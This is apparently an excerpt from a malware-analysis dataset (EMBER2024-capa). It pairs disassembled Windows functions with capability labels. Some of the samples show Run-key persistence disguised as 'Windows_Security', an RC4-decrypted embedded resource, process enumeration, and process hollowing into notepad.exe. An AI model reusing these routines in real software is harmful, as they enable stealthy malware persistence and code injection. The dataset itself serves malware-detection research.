joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001382c
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x170
mov ebx, edx
mov rsi, rcx
call fcn.1400136f0
xor edi, edi
cmp qword [0x14001c708], rdi
je 0x140013883
call fcn.140002848
cmp dword [rax + 0x10], 1
jne 0x14001386d
cmp ebx, 0x19
je 0x140013883
cmp ebx, 0x17
je 0x140013883
cmp ebx, 0x16
je 0x140013883
xor r9d, r9d
mov r8d, ebx
mov rdx, rsi
xor ecx, ecx
call qword [0x14001c708]
jmp 0x140013945
lea rcx, [rsp + 0x61]
xor edx, edx
mov r8d, 0x103
mov byte [rsp + 0x60], dil
call sub.msvcrt.dll_memset
cmp ebx, 0x19
je 0x1400138b0
cmp ebx, 0x17
je 0x1400138b0
cmp ebx, 0x16
mov rcx, 0xffffffff80000001
jne 0x1400138b7
mov rcx, 0xffffffff80000002
lea rax, [rsp + 0x30]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, edi
jne 0x14001392f
lea rdx, [rsp + 0x38]
mov ecx, ebx
call fcn.140013750
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x190]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
lea r9, [rsp + 0x198]
lea rdx, [rsp + 0x38]
xor r8d, r8d
mov dword [rsp + 0x190], 0x104
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rsp + 0x60]
mov rcx, rsi
call sub.msvcrt.dll_strcpy
cmp byte [rsi], dil
setne dil
mov eax, edi
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x14001569c
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x130
mov rdi, rcx
mov ebx, 0xff
lea rcx, [rsp + 0x31]
xor edx, edx
mov r8, rbx
mov byte [rsp + 0x30], 0
call sub.msvcrt.dll_memset
lea r11, [rsp + 0x158]
lea rdx, str.SoftwareMicrosoftMultimediaSound_Mapper
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14001573f
mov rcx, qword [rsp + 0x158]
lea rax, [rsp + 0x148]
lea r9, [rsp + 0x150]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x30]
lea rdx, str.Playback
xor r8d, r8d
mov dword [rsp + 0x148], ebx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x158]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [rsp + 0x30], 0
je 0x140015796
and dword [rdi + 0x38], 0
call qword [sym.imp.WINMM.dll_waveOutGetNumDevs]
xor ebx, ebx
test eax, eax
mov dword [rdi + 0x34], eax
je 0x140015796
xor edx, edx
mov rcx, rdi
lea r8d, [rdx + 0x34]
call sub.msvcrt.dll_memset
mov ecx, ebx
mov r8d, 0x34
mov rdx, rdi
call qword [sym.imp.WINMM.dll_waveOutGetDevCapsA]
test eax, eax
jne 0x14001578e
lea rcx, [rdi + 8]
lea rdx, [rsp + 0x30]
call sub.msvcrt.dll__strcmpi
test eax, eax
je 0x1400157a9
add ebx, 1
cmp ebx, dword [rdi + 0x34]
jb 0x140015759
xor eax, eax
mov rbx, qword [rsp + 0x140]
add rsp, 0x130
pop rdi
ret
mov eax, ebx
jmp 0x140015798
Function at 0x1400158c0
Capabilities:
Parse pe header
Terminate process

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
cmp word [0x140000000], 0x5a4d
je 0x1400158e1
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x14001595d
movsxd rax, dword [0x14000003c]
lea rcx, [0x140000000]
add rax, rcx
cmp dword [rax], 0x4550
je 0x140015902
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x14001595d
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x140015940
cmp ecx, 0x20b
je 0x14001591e
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x14001595d
cmp dword [rax + 0x84], 0xe
ja 0x14001592f
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x14001595d
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0x60], ebx
jmp 0x14001595d
cmp dword [rax + 0x74], 0xe
ja 0x14001594e
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x14001595d
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0x60], ebx
mov ecx, 1
call qword [sym.imp.msvcrt.dll___set_app_type]
mov qword [0x14001cbf8], 0xffffffffffffffff
mov qword [0x14001cc00], 0xffffffffffffffff
mov rcx, qword [sym.imp.msvcrt.dll__fmode]
mov eax, dword [0x14001c2cc]
mov dword [rcx], eax
mov rcx, qword [sym.imp.msvcrt.dll__commode]
mov eax, dword [0x14001c2c8]
mov dword [rcx], eax
call fcn.140015ac0
cmp dword [section..data], 0
jne 0x1400159b7
lea rcx, [fcn.140015ac0]
call qword [sym.imp.msvcrt.dll___setusermatherr]
lea rdx, [0x140016760]
lea rcx, [0x140016758]
call sub.msvcrt.dll__initterm
mov r11d, dword [0x14001c2c4]
mov dword [rsp + 0x68], r11d
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [0x14001c2c0]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call qword [sym.imp.msvcrt.dll___getmainargs]
lea rdx, [0x140016750]
lea rcx, [0x140016728]
call sub.msvcrt.dll__initterm
mov r11, qword [rsp + 0x38]
mov rax, qword [sym.imp.msvcrt.dll___initenv]
mov qword [rax], r11
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x30]
call fcn.140003e98
mov edi, eax
mov dword [rsp + 0x34], eax
test ebx, ebx
jne 0x140015a43
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
call qword [sym.imp.msvcrt.dll__cexit]
jmp 0x140015a64
mov eax, edi
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x58
ret
Function at 0x14064a108
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14064a28f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14064a139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14064a11f
add dl, dl
jne 0x14064a146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14064a1a6
xor eax, eax
add dl, dl
jne 0x14064a155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14064a25d
add dl, dl
jne 0x14064a166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14064a173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14064a180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14064a18d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14064a19a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14064a12e
mov eax, 1
add dl, dl
jne 0x14064a1b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14064a1c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14064a1ab
sub eax, ebx
mov ebx, 1
jne 0x14064a1fc
mov ecx, 1
add dl, dl
jne 0x14064a1de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14064a1eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14064a1d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14064a12e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14064a218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14064a225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14064a20d
cmp eax, 0x7d00
jae 0x14064a24b
cmp eax, 0x500
jb 0x14064a246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14064a12e
cmp eax, 0x7f
ja 0x14064a24e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14064a12e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14064a282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14064a12e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002de0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140003f80
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140003f80
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002e50
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400090a4]
mov rbx, rcx
test esi, esi
jle 0x140002f80
mov rax, qword [0x1400090a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002e9b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002f25
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002e80
mov rcx, rbx
call fcn.1400038a0
mov rdi, rax
test rax, rax
je 0x140002fa2
mov rax, qword [0x1400090a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400039e0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400090a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002f87
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002f1e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002f30
add dword [0x1400090a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400090a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002f1e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002de0
nop dword [rax]
xor esi, esi
jmp 0x140002ea8
mov rax, qword [0x1400090a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002de0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002de0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003510
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140009100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400090e0]
test rbx, rbx
je 0x14000356c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003563
test rsi, rsi
je 0x140003563
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003548
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400038a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400069d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400038c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400038c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400038c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000391d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003914
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400038c0
add rax, 0x28
cmp rax, r9
jne 0x140003900
xor eax, eax
ret

Function at 0x140003920
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400069d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000393f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003948
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000393f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400039e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400069d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400039ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003a08
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x230
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rbp, r8
mov r15d, edx
mov r14, rcx
mov esi, pe_nt_image_headers64
xor edi, edi
lea rcx, [rsp + 0x120]
mov r8d, esi
xor edx, edx
mov ebx, edi
call fcn.140002770
mov r8d, esi
lea rcx, [rsp + 0x20]
xor edx, edx
call fcn.140002770
mov ecx, edi
mov edx, edi
nop dword [rax]
nop dword [rax + rax]
mov eax, ecx
mov byte [rsp + rdx + 0x20], cl
and eax, 0x7f
lea rdx, [rdx + 1]
inc ecx
movzx eax, byte [rax + rbp]
mov byte [rsp + rdx + 0x11f], al
cmp ecx, esi
jl 0x140001070
mov rdx, rdi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x120]
movzx r8d, byte [rsp + rdx + 0x20]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x1400010c5
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rax, ebx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + rdx + 0x20], al
inc rdx
mov byte [rcx], r8b
sub rsi, 1
jne 0x1400010a0
mov edx, edi
test r15d, r15d
je 0x140001156
mov r10, r15
nop dword [rax]
lea eax, [rdi + 1]
and eax, 0x800000ff
jge 0x140001103
dec eax
or eax, 0xffffff00
inc eax
movsxd rdi, eax
lea r8, [rsp + 0x20]
movzx r9d, byte [r8 + rdi]
add edx, r9d
and edx, 0x800000ff
jge 0x140001125
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x20]
add rcx, rax
movzx eax, byte [rcx]
mov byte [r8 + rdi], al
mov byte [rcx], r9b
movzx ecx, byte [r8 + rdi]
add rcx, r9
movzx eax, cl
movzx ecx, byte [rsp + rax + 0x20]
xor byte [r14], cl
inc r14
sub r10, 1
jne 0x1400010f0
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.140001670
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x140001190
Capabilities:
Enumerate processes

Disassembly:
push rdi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001221
xor edx, edx
mov qword [rsp + 0x280], rbx
mov r8d, 0x234
mov dword [rsp + 0x20], 0x238
lea rcx, [rsp + 0x24]
call fcn.140002770
lea rdx, [rsp + 0x20]
mov rcx, rdi
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000123a
nop word [rax + rax]
lea rdx, [rsp + 0x20]
mov rcx, rdi
inc ebx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001200
cmp ebx, 0x28
jle 0x14000123a
mov rbx, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001670
add rsp, 0x270
pop rdi
ret
mov ecx, 1
call fcn.1400032c0
int3
Function at 0x140001250
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x158
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, pe_nt_image_headers64
call fcn.140002770
mov r8d, pe_nt_image_headers64
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x30]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1400012f1
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400012b4
mov rcx, qword [rsp + 0x30]
lea rdx, str.Windows_Security
mov dword [rsp + 0x28], eax
mov r9d, 1
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140001670
add rsp, 0x158
ret

Function at 0x140001310
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0xc0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rsi, rdx
xor ecx, ecx
mov edx, 0x64
lea r8d, [rdx - 0x5a]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
je 0x14000145f
mov rdx, rbx
mov qword [rsp + 0xd0], rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
test eax, eax
je 0x140001378
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x14000137f
xor eax, eax
jmp 0x140001457
mov rcx, rax
mov qword [rsp + 0xe0], rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x14000144f
movups xmm0, xmmword [rax + 0x10]
movups xmm1, xmmword [rax + 0x20]
movups xmm2, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x40], xmm1
movq rbx, xmm2
movups xmm1, xmmword [rax + 0x40]
shr rbx, 0x20
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x60], xmm1
movups xmm1, xmmword [rax + 0x60]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0x80], xmm1
movsd xmm1, qword [rax + 0x80]
movd eax, xmm2
movaps xmmword [rsp + 0x20], xmm2
movaps xmmword [rsp + 0x90], xmm0
movsd qword [rsp + 0xa0], xmm1
test eax, eax
je 0x140001410
call fcn.140001190
test ebx, ebx
je 0x140001419
call fcn.140001250
lea eax, [rbp - 0x88]
mov ecx, eax
mov dword [rsi], eax
call fcn.140001694
mov r8d, dword [rsi]
lea rdx, [rdi + 0x88]
mov rcx, rax
mov rbx, rax
call fcn.14000aac0
mov edx, dword [rsi]
lea r8, [rsp + 0x28]
mov rcx, rbx
call section..text
mov rax, rbx
mov rdi, qword [rsp + 0xe0]
mov rbp, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140001670
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rsi
ret
Function at 0x140001480
Capabilities:
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x1090]
mov eax, 0x1190
call fcn.14000a970
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1080], rax
xor edi, edi
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], edi
call fcn.140001310
mov rbx, rax
test rax, rax
je 0x140001634
xor edx, edx
lea r8d, [rdi + 0x68]
lea rcx, [rbp - 0x58]
call fcn.140002770
movups xmm0, xmmword [rbp - 0x58]
xor eax, eax
xor r9d, r9d
movups xmm1, xmmword [rbp - 0x48]
lea rdx, str.c:windows_notepad.exe
mov qword [rsp + 0x60], rax
movaps xmmword [rbp + 0x10], xmm0
xor r8d, r8d
movups xmm0, xmmword [rbp - 0x38]
xor ecx, ecx
mov qword [rsp + 0x68], rax
movaps xmmword [rbp + 0x20], xmm1
movups xmm1, xmmword [rbp - 0x28]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [rbp - 0x18]
mov qword [rsp + 0x38], rdi
movaps xmmword [rbp + 0x40], xmm1
movups xmm1, xmmword [rbp - 8]
mov qword [rsp + 0x30], rdi
movaps xmmword [rbp + 0x50], xmm0
movsd xmm0, qword [rbp + 8]
mov dword [rsp + 0x28], 4
movsd qword [rbp + 0x70], xmm0
movaps xmmword [rbp + 0x60], xmm1
mov dword [rsp + 0x54], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x60]
lea rax, [rsp + 0x54]
lea r9d, [rdi + 0x30]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x78]
xor edx, edx
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
mov rdx, qword [rbp - 0x80]
lea r9d, [rdi + 8]
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x58]
add rdx, 0x10
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
xor edx, edx
lea rcx, [rbp + 0x80]
mov r8d, 0x1000
call fcn.140002770
mov rdx, qword [rsp + 0x58]
lea r8, [rbp + 0x80]
mov rcx, qword [rsp + 0x60]
mov r9d, 0x1000
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movsxd rax, dword [rbp + 0xbc]
mov r8, rbx
mov r9d, dword [rsp + 0x50]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x20], rdi
mov edx, dword [rbp + rax + 0xa8]
add rdx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov rcx, qword [rbp + 0x1080]
xor rcx, rsp
call fcn.140001670
lea r11, [rsp + 0x1190]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x1400032c0
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140003094
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003094
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003094
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003094
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003094
cmp dword [rcx + 0x84], 0xe
jbe 0x140003094
cmp dword [rcx + 0xf8], esi
je 0x140003094
mov ecx, r14d
call fcn.1400031dc
mov ecx, 2
call fcn.140004634
nop
cmp byte [0x140016120], 0
jne 0x14000315e
mov r15d, 1
mov eax, r15d
xchg dword [0x140016110], eax
test ebx, ebx
jne 0x140003107
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140016118]
cmp rcx, rax
je 0x1400030fe
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.1400024bc]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140016378]
jmp 0x140003113
cmp ebx, r15d
jne 0x140003119
lea rcx, [0x140016390]
call fcn.140004138
nop
test ebx, ebx
jne 0x140003130
lea rdx, [0x14000c328]
lea rcx, [0x14000c308]
call fcn.140003aec
lea rdx, [0x14000c338]
lea rcx, [0x14000c330]
call fcn.140003aec
movzx eax, byte [0x140016120]
test esi, esi
cmove eax, r15d
mov byte [0x140016120], al
jmp 0x14000315e
mov ecx, 2
call fcn.140004688
test esi, esi
jne 0x140003175
mov ecx, r14d
call fcn.140003190
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140003024